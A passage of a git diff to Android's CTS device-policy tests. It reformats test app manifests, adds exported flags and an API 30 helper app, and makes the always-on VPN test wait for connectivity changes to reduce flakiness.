+             android:permission="android.permission.BIND_DEVICE_ADMIN">
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_SERVICE" />
+                <action android:name="android.app.action.DEVICE_ADMIN_SERVICE"/>
             </intent-filter>
         </service>
 
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-            android:targetPackage="com.android.cts.deviceadminservice" />
+         android:targetPackage="com.android.cts.deviceadminservice"/>
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/DeviceAdminService/package2/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceAdminService/package2/AndroidManifest.xml
index c57eb8e..83afcee 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdminService/package2/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DeviceAdminService/package2/AndroidManifest.xml
@@ -15,32 +15,30 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.deviceadminservice" >
+     package="com.android.cts.deviceadminservice">
 
     <application android:testOnly="true">
-        <uses-library android:name="android.test.runner" />
-        <receiver
-                android:name=".MyOwner"
-                android:permission="android.permission.BIND_DEVICE_ADMIN"
-                >
+        <uses-library android:name="android.test.runner"/>
+        <receiver android:name=".MyOwner"
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                    android:resource="@xml/device_admin" />
+                 android:resource="@xml/device_admin"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
 
-        <service
-                android:name=".MyService"
-                android:exported="false"
-                android:permission="android.permission.BIND_DEVICE_ADMIN" >
+        <service android:name=".MyService"
+             android:exported="false"
+             android:permission="android.permission.BIND_DEVICE_ADMIN">
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_SERVICE" />
+                <action android:name="android.app.action.DEVICE_ADMIN_SERVICE"/>
             </intent-filter>
         </service>
 
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-            android:targetPackage="com.android.cts.deviceadminservice" />
+         android:targetPackage="com.android.cts.deviceadminservice"/>
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/DeviceAdminService/package3/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceAdminService/package3/AndroidManifest.xml
index 46a5fee..2801351 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdminService/package3/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DeviceAdminService/package3/AndroidManifest.xml
@@ -15,31 +15,29 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.deviceadminservice" >
+     package="com.android.cts.deviceadminservice">
 
     <application android:testOnly="true">
-        <uses-library android:name="android.test.runner" />
-        <receiver
-                android:name=".MyOwner"
-                android:permission="android.permission.BIND_DEVICE_ADMIN"
-                >
+        <uses-library android:name="android.test.runner"/>
+        <receiver android:name=".MyOwner"
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                    android:resource="@xml/device_admin" />
+                 android:resource="@xml/device_admin"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
 
-        <service
-                android:name=".MyService"
-                android:exported="false">
+        <service android:name=".MyService"
+             android:exported="false">
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_SERVICE" />
+                <action android:name="android.app.action.DEVICE_ADMIN_SERVICE"/>
             </intent-filter>
         </service>
 
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-            android:targetPackage="com.android.cts.deviceadminservice" />
+         android:targetPackage="com.android.cts.deviceadminservice"/>
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/DeviceAdminService/package4/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceAdminService/package4/AndroidManifest.xml
index 3a98de5..bea0cb7 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdminService/package4/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DeviceAdminService/package4/AndroidManifest.xml
@@ -15,37 +15,36 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.deviceadminservice" >
+     package="com.android.cts.deviceadminservice">
 
     <application android:testOnly="true">
-        <uses-library android:name="android.test.runner" />
-        <receiver
-                android:name=".MyOwner"
-                android:permission="android.permission.BIND_DEVICE_ADMIN"
-                >
+        <uses-library android:name="android.test.runner"/>
+        <receiver android:name=".MyOwner"
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                    android:resource="@xml/device_admin" />
+                 android:resource="@xml/device_admin"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
-        <service
-                android:name=".MyService"
-                android:permission="android.permission.BIND_DEVICE_ADMIN" >
+        <service android:name=".MyService"
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_SERVICE" />
+                <action android:name="android.app.action.DEVICE_ADMIN_SERVICE"/>
             </intent-filter>
         </service>
-        <service
-                android:name=".MyService2"
-                android:permission="android.permission.BIND_DEVICE_ADMIN" >
+        <service android:name=".MyService2"
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_SERVICE" />
+                <action android:name="android.app.action.DEVICE_ADMIN_SERVICE"/>
             </intent-filter>
         </service>
 
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-            android:targetPackage="com.android.cts.deviceadminservice" />
+         android:targetPackage="com.android.cts.deviceadminservice"/>
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/DeviceAdminService/packageb/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceAdminService/packageb/AndroidManifest.xml
index beb23a8..d21cea6 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdminService/packageb/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DeviceAdminService/packageb/AndroidManifest.xml
@@ -15,30 +15,28 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.deviceadminserviceb" >
+     package="com.android.cts.deviceadminserviceb">
 
     <application android:testOnly="true">
-        <uses-library android:name="android.test.runner" />
-        <receiver
-                android:name="com.android.cts.deviceadminservice.MyOwner"
-                android:permission="android.permission.BIND_DEVICE_ADMIN"
-                >
+        <uses-library android:name="android.test.runner"/>
+        <receiver android:name="com.android.cts.deviceadminservice.MyOwner"
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                    android:resource="@xml/device_admin" />
+                 android:resource="@xml/device_admin"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
-        <service
-                android:name="com.android.cts.deviceadminservice.MyService"
-                android:exported="true"
-                android:permission="android.permission.BIND_DEVICE_ADMIN" >
+        <service android:name="com.android.cts.deviceadminservice.MyService"
+             android:exported="true"
+             android:permission="android.permission.BIND_DEVICE_ADMIN">
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_SERVICE" />
+                <action android:name="android.app.action.DEVICE_ADMIN_SERVICE"/>
             </intent-filter>
         </service>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-            android:targetPackage="com.android.cts.deviceadminservice" />
+         android:targetPackage="com.android.cts.deviceadminservice"/>
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/Android.bp b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/Android.bp
index eaf7de4..c6fc883 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/Android.bp
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/Android.bp
@@ -32,6 +32,8 @@
         "cts-security-test-support-library",
         "androidx.legacy_legacy-support-v4",
         "cts-devicepolicy-suspensionchecker",
+        "devicepolicy-deviceside-common",
+        "ShortcutManagerTestUtils",
     ],
     resource_dirs: ["res"],
     asset_dirs: ["assets"],
@@ -39,6 +41,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
     manifest: "api23/AndroidManifest.xml",
 }
@@ -59,6 +62,8 @@
         "cts-security-test-support-library",
         "androidx.legacy_legacy-support-v4",
         "cts-devicepolicy-suspensionchecker",
+        "devicepolicy-deviceside-common",
+        "ShortcutManagerTestUtils",
     ],
     resource_dirs: ["res"],
     asset_dirs: ["assets"],
@@ -67,11 +72,43 @@
         "arcts",
         "cts",
         "general-tests",
+        "mts",
     ],
     manifest: "api25/AndroidManifest.xml",
 }
 
 android_test_helper_app {
+    name: "CtsDeviceAndProfileOwnerApp30",
+    defaults: ["cts_defaults"],
+    platform_apis: true,
+    srcs: ["src/**/*.java"],
+    libs: [
+        "android.test.runner",
+        "android.test.base",
+    ],
+    static_libs: [
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "ub-uiautomator",
+        "cts-security-test-support-library",
+        "androidx.legacy_legacy-support-v4",
+        "cts-devicepolicy-suspensionchecker",
+        "devicepolicy-deviceside-common",
+        "ShortcutManagerTestUtils",
+    ],
+    resource_dirs: ["res"],
+    asset_dirs: ["assets"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "arcts",
+        "cts",
+        "general-tests",
+        "mts",
+    ],
+    manifest: "api30/AndroidManifest.xml",
+}
+
+android_test_helper_app {
     name: "CtsDeviceAndProfileOwnerApp",
     defaults: ["cts_defaults"],
     platform_apis: true,
@@ -87,6 +124,8 @@
         "cts-security-test-support-library",
         "androidx.legacy_legacy-support-v4",
         "cts-devicepolicy-suspensionchecker",
+        "devicepolicy-deviceside-common",
+        "ShortcutManagerTestUtils",
     ],
     resource_dirs: ["res"],
     asset_dirs: ["assets"],
@@ -95,6 +134,7 @@
         "arcts",
         "cts",
         "general-tests",
+        "mts",
     ],
     manifest: "latest/AndroidManifest.xml",
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api23/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api23/AndroidManifest.xml
index 9580f16..b6ebb20 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api23/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api23/AndroidManifest.xml
@@ -15,37 +15,35 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.deviceandprofileowner">
+     package="com.android.cts.deviceandprofileowner">
 
-    <uses-sdk android:minSdkVersion="23" android:targetSdkVersion="23"/>
+    <uses-sdk android:minSdkVersion="23"
+         android:targetSdkVersion="23"/>
     <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
-    <uses-permission android:name="android.permission.AUTHENTICATE_ACCOUNTS" />
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
-    <uses-permission android:name="android.permission.INTERNET" />
-    <uses-permission android:name="android.permission.MANAGE_ACCOUNTS" />
-    <uses-permission android:name="android.permission.CAMERA" />
+    <uses-permission android:name="android.permission.AUTHENTICATE_ACCOUNTS"/>
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
+    <uses-permission android:name="android.permission.INTERNET"/>
+    <uses-permission android:name="android.permission.MANAGE_ACCOUNTS"/>
+    <uses-permission android:name="android.permission.CAMERA"/>
 
-    <application
-        android:testOnly="true">
+    <application android:testOnly="true">
 
-        <uses-library android:name="android.test.runner" />
-        <receiver
-            android:name="com.android.cts.deviceandprofileowner.BaseDeviceAdminTest$BasicAdminReceiver"
-            android:permission="android.permission.BIND_DEVICE_ADMIN">
+        <uses-library android:name="android.test.runner"/>
+        <receiver android:name="com.android.cts.deviceandprofileowner.BaseDeviceAdminTest$BasicAdminReceiver"
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                       android:resource="@xml/device_admin" />
+                 android:resource="@xml/device_admin"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
     </application>
 
-    <instrumentation
-            android:name="androidx.test.runner.AndroidJUnitRunner"
-            android:label="Profile and Device Owner CTS Tests API 23"
-            android:targetPackage="com.android.cts.deviceandprofileowner">
-        <meta-data
-                android:name="listener"
-                android:value="com.android.cts.runner.CtsTestRunListener"/>
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:label="Profile and Device Owner CTS Tests API 23"
+         android:targetPackage="com.android.cts.deviceandprofileowner">
+        <meta-data android:name="listener"
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api25/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api25/AndroidManifest.xml
index 618284e..4010d31 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api25/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api25/AndroidManifest.xml
@@ -15,34 +15,33 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.deviceandprofileowner">
+     package="com.android.cts.deviceandprofileowner">
 
-    <uses-sdk android:minSdkVersion="23" android:targetSdkVersion="25"/>
-    <uses-permission android:name="android.permission.CAMERA" />
+    <uses-sdk android:minSdkVersion="23"
+         android:targetSdkVersion="25"/>
+    <uses-permission android:name="android.permission.CAMERA"/>
 
     <!-- Add a network security config that trusts user added CAs for tests -->
     <application android:testOnly="true">
 
-        <uses-library android:name="android.test.runner" />
-        <receiver
-            android:name="com.android.cts.deviceandprofileowner.BaseDeviceAdminTest$BasicAdminReceiver"
-            android:permission="android.permission.BIND_DEVICE_ADMIN"
-            android:directBootAware="true">
+        <uses-library android:name="android.test.runner"/>
+        <receiver android:name="com.android.cts.deviceandprofileowner.BaseDeviceAdminTest$BasicAdminReceiver"
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:directBootAware="true"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                       android:resource="@xml/device_admin" />
+                 android:resource="@xml/device_admin"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
 
     </application>
 
-    <instrumentation
-            android:name="androidx.test.runner.AndroidJUnitRunner"
-            android:label="Profile and Device Owner CTS Tests"
-            android:targetPackage="com.android.cts.deviceandprofileowner">
-        <meta-data
-                android:name="listener"
-                android:value="com.android.cts.runner.CtsTestRunListener"/>
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:label="Profile and Device Owner CTS Tests"
+         android:targetPackage="com.android.cts.deviceandprofileowner">
+        <meta-data android:name="listener"
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api30/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api30/AndroidManifest.xml
new file mode 100644
index 0000000..07d5bd0
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api30/AndroidManifest.xml
@@ -0,0 +1,45 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="com.android.cts.deviceandprofileowner">
+
+    <uses-sdk android:minSdkVersion="29"
+         android:targetSdkVersion="30"/>
+
+    <application android:testOnly="true">
+
+        <uses-library android:name="android.test.runner"/>
+        <receiver android:name="com.android.cts.deviceandprofileowner.BaseDeviceAdminTest$BasicAdminReceiver"
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:directBootAware="true"
+             android:exported="true">
+            <meta-data android:name="android.app.device_admin"
+                 android:resource="@xml/device_admin"/>
+            <intent-filter>
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
+            </intent-filter>
+        </receiver>
+
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:label="Profile and Device Owner CTS Tests"
+         android:targetPackage="com.android.cts.deviceandprofileowner">
+        <meta-data android:name="listener"
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
+    </instrumentation>
+</manifest>
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml
index cb0bc92..e691e20 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml
@@ -15,63 +15,69 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.deviceandprofileowner">
+     package="com.android.cts.deviceandprofileowner">
 
     <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION"/>
     <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
     <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
     <uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
-    <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
-    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
-    <uses-permission android:name="android.permission.AUTHENTICATE_ACCOUNTS" />
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
-    <uses-permission android:name="android.permission.INTERNET" />
-    <uses-permission android:name="android.permission.MANAGE_ACCOUNTS" />
-    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
-    <uses-permission android:name="android.permission.SET_WALLPAPER" />
-    <uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS" />
-    <uses-permission android:name="android.permission.CAMERA" />
+    <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
+    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
+    <uses-permission android:name="android.permission.AUTHENTICATE_ACCOUNTS"/>
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
+    <uses-permission android:name="android.permission.INTERNET"/>
+    <uses-permission android:name="android.permission.MANAGE_ACCOUNTS"/>
+    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
+    <uses-permission android:name="android.permission.SET_WALLPAPER"/>
+    <uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS"/>
+    <uses-permission android:name="android.permission.CAMERA"/>
+    <uses-permission android:name="android.permission.MODIFY_QUIET_MODE"/>
     <!-- Needed to read the serial number during Device ID attestation tests -->
-    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
-    <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS" />
-    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
+    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
+    <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS"/>
+    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
+    <!--  TODO(b/176993670): remove if DpmWrapper goes away -->
+    <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS"/>
+
+    <!--  TODO(b/176993670): remove if DpmWrapper goes away -->
+    <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS"/>
 
     <!-- Add a network security config that trusts user added CAs for tests -->
     <application android:networkSecurityConfig="@xml/network_security_config"
-        android:testOnly="true">
+         android:testOnly="true">
 
-        <uses-library android:name="android.test.runner" />
-        <receiver
-            android:name="com.android.cts.deviceandprofileowner.BaseDeviceAdminTest$BasicAdminReceiver"
-            android:permission="android.permission.BIND_DEVICE_ADMIN"
-            android:directBootAware="true">
+        <uses-library android:name="android.test.runner"/>
+        <receiver android:name="com.android.cts.deviceandprofileowner.BaseDeviceAdminTest$BasicAdminReceiver"
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:directBootAware="true"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                       android:resource="@xml/device_admin" />
+                 android:resource="@xml/device_admin"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
-        <activity
-            android:name="com.android.cts.deviceandprofileowner.ExampleIntentReceivingActivity1">
+        <activity android:name="com.android.cts.deviceandprofileowner.ExampleIntentReceivingActivity1"
+             android:exported="true">
             <intent-filter>
-                <action android:name="com.android.cts.deviceandprofileowner.EXAMPLE_ACTION" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="com.android.cts.deviceandprofileowner.EXAMPLE_ACTION"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </activity>
 
-        <activity
-            android:name="com.android.cts.deviceandprofileowner.ExampleIntentReceivingActivity2">
+        <activity android:name="com.android.cts.deviceandprofileowner.ExampleIntentReceivingActivity2"
+             android:exported="true">
             <intent-filter>
-                <action android:name="com.android.cts.deviceandprofileowner.EXAMPLE_ACTION" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="com.android.cts.deviceandprofileowner.EXAMPLE_ACTION"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </activity>
 
-        <activity
-            android:name=".SetPolicyActivity"
-            android:launchMode="singleTop">
+        <activity android:name=".SetPolicyActivity"
+             android:launchMode="singleTop"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
+                <action android:name="android.intent.action.MAIN"/>
                 <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </activity>
@@ -84,52 +90,67 @@
 
         <activity android:name=".PrintActivity"/>
 
-        <activity
-            android:name="com.android.cts.deviceandprofileowner.KeyManagementActivity"
-            android:theme="@android:style/Theme.Translucent.NoTitleBar" />
+        <activity android:name="com.android.cts.deviceandprofileowner.KeyManagementActivity"
+             android:theme="@android:style/Theme.Translucent.NoTitleBar"/>
 
-        <activity
-            android:name="com.android.cts.deviceandprofileowner.LockTaskUtilityActivity"/>
-        <activity
-            android:name="com.android.cts.deviceandprofileowner.LockTaskUtilityActivityIfAllowed"
-            android:launchMode="singleInstance"
-            android:lockTaskMode="if_whitelisted">
+        <activity android:name="com.android.cts.deviceandprofileowner.LockTaskUtilityActivity"/>
+        <activity android:name="com.android.cts.deviceandprofileowner.LockTaskUtilityActivityIfAllowed"
+             android:launchMode="singleInstance"
+             android:lockTaskMode="if_whitelisted"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
                 <category android:name="android.intent.category.HOME"/>
                 <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </activity>
-        <activity
-            android:name="android.app.Activity">
+        <activity android:name="android.app.Activity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.app.action.CHECK_POLICY_COMPLIANCE" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="android.app.action.CHECK_POLICY_COMPLIANCE"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </activity>
 
-        <receiver android:name=".WipeDataReceiver">
+        <receiver android:name=".WipeDataReceiver"
+             android:exported="true">
             <intent-filter>
-                <action android:name="com.android.cts.deviceandprofileowner.WIPE_DATA" />
+                <action android:name="com.android.cts.deviceandprofileowner.WIPE_DATA"/>
             </intent-filter>
         </receiver>
 
+        <!--  TODO(b/176993670): remove if DpmWrapper goes away -->
+        <receiver android:name="com.android.bedstead.dpmwrapper.TestAppCallbacksReceiver"
+             android:exported="true">
+        </receiver>
+
         <service android:name=".NotificationListener"
-            android:exported="true"
-            android:label="Notification Listener"
-            android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE">
+             android:exported="true"
+             android:label="Notification Listener"
+             android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE">
             <intent-filter>
-                <action android:name="android.service.notification.NotificationListenerService" />
+                <action android:name="android.service.notification.NotificationListenerService"/>
             </intent-filter>
         </service>
+
+        <service
+            android:name=".SimpleKeyguardService"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.app.action.BIND_SECONDARY_LOCKSCREEN_SERVICE" />
+            </intent-filter>
+        </service>
+
+        <!--  TODO(b/176993670): remove if DpmWrapper goes away -->
+        <receiver android:name="com.android.bedstead.dpmwrapper.TestAppCallbacksReceiver"
+             android:exported="true">
+        </receiver>
     </application>
 
-    <instrumentation
-            android:name="androidx.test.runner.AndroidJUnitRunner"
-            android:label="Profile and Device Owner CTS Tests"
-            android:targetPackage="com.android.cts.deviceandprofileowner">
-        <meta-data
-                android:name="listener"
-                android:value="com.android.cts.runner.CtsTestRunListener"/>
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:label="Profile and Device Owner CTS Tests"
+         android:targetPackage="com.android.cts.deviceandprofileowner">
+        <meta-data android:name="listener"
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/res/xml/network_security_config.xml b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/res/xml/network_security_config.xml
index 1bb298a..6b0779f 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/res/xml/network_security_config.xml
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/res/xml/network_security_config.xml
@@ -1,6 +1,6 @@
 <?xml version="1.0" encoding="utf-8"?>
 <network-security-config>
-  <base-config>
+  <base-config cleartextTrafficPermitted="true">
     <trust-anchors>
       <certificates src="user" />
     </trust-anchors>
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AlwaysOnVpnTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AlwaysOnVpnTest.java
index 5bf6f20..b191de5 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AlwaysOnVpnTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AlwaysOnVpnTest.java
@@ -19,7 +19,6 @@
 import static com.android.cts.deviceandprofileowner.vpn.VpnTestHelper.TEST_ADDRESS;
 import static com.android.cts.deviceandprofileowner.vpn.VpnTestHelper.VPN_PACKAGE;
 
-import android.net.VpnService;
 import android.os.Bundle;
 import android.os.UserManager;
 import android.util.Log;
@@ -49,6 +48,7 @@
     private static final String RESTRICTION_DONT_ESTABLISH = "vpn.dont_establish";
     private static final String CONNECTIVITY_CHECK_HOST = "connectivitycheck.gstatic.com";
     private static final int VPN_ON_START_TIMEOUT_MS = 5_000;
+    private static final long CONNECTIVITY_WAIT_TIME_NS = 30_000_000_000L;
 
     private String mPackageName;
 
@@ -112,7 +112,7 @@
 
     // Tests that changes to lockdown allowlist are applied correctly.
     public void testVpnLockdownUpdateAllowlist() throws Exception {
-        assertConnectivity(true, "VPN is off");
+        waitForConnectivity("VPN is off");
 
         // VPN won't start.
         final Bundle restrictions = new Bundle();
@@ -131,7 +131,9 @@
 
         VpnTestHelper.setAlwaysOnVpn(
                 mContext, VPN_PACKAGE, /* lockdown */ true, /* allowlist */ false);
-        assertConnectivity(false, "VPN in lockdown, service not started");
+        // Wait for loss of connectivity instead of assertConnectivity(false)
+        // to mitigate flakiness due to asynchronicity.
+        waitForNoConnectivity("VPN in lockdown, service not started");
         assertNotNull(receiver.awaitForBroadcast(VPN_ON_START_TIMEOUT_MS));
 
         VpnTestHelper.setAlwaysOnVpn(
@@ -141,7 +143,9 @@
 
         VpnTestHelper.setAlwaysOnVpn(
                 mContext, VPN_PACKAGE, /* lockdown */ true, /* allowlist */ false);
-        assertConnectivity(false, "VPN in lockdown, service not started");
+        // Wait for loss of connectivity instead of assertConnectivity(false)
+        // to mitigate flakiness due to asynchronicity.
+        waitForNoConnectivity("VPN in lockdown, service not started");
         assertNotNull(receiver.awaitForBroadcast(VPN_ON_START_TIMEOUT_MS));
 
         receiver.unregisterQuietly();
@@ -149,7 +153,7 @@
 
     // Tests that when VPN comes up, allowlisted app switches over to it.
     public void testVpnLockdownAllowlistVpnComesUp() throws Exception {
-        assertConnectivity(true, "VPN is off");
+        waitForConnectivity("VPN is off");
 
         // VPN won't start initially.
         final Bundle restrictions = new Bundle();
@@ -191,6 +195,38 @@
         assertNull(mDevicePolicyManager.getAlwaysOnVpnPackage(ADMIN_RECEIVER_COMPONENT));
     }
 
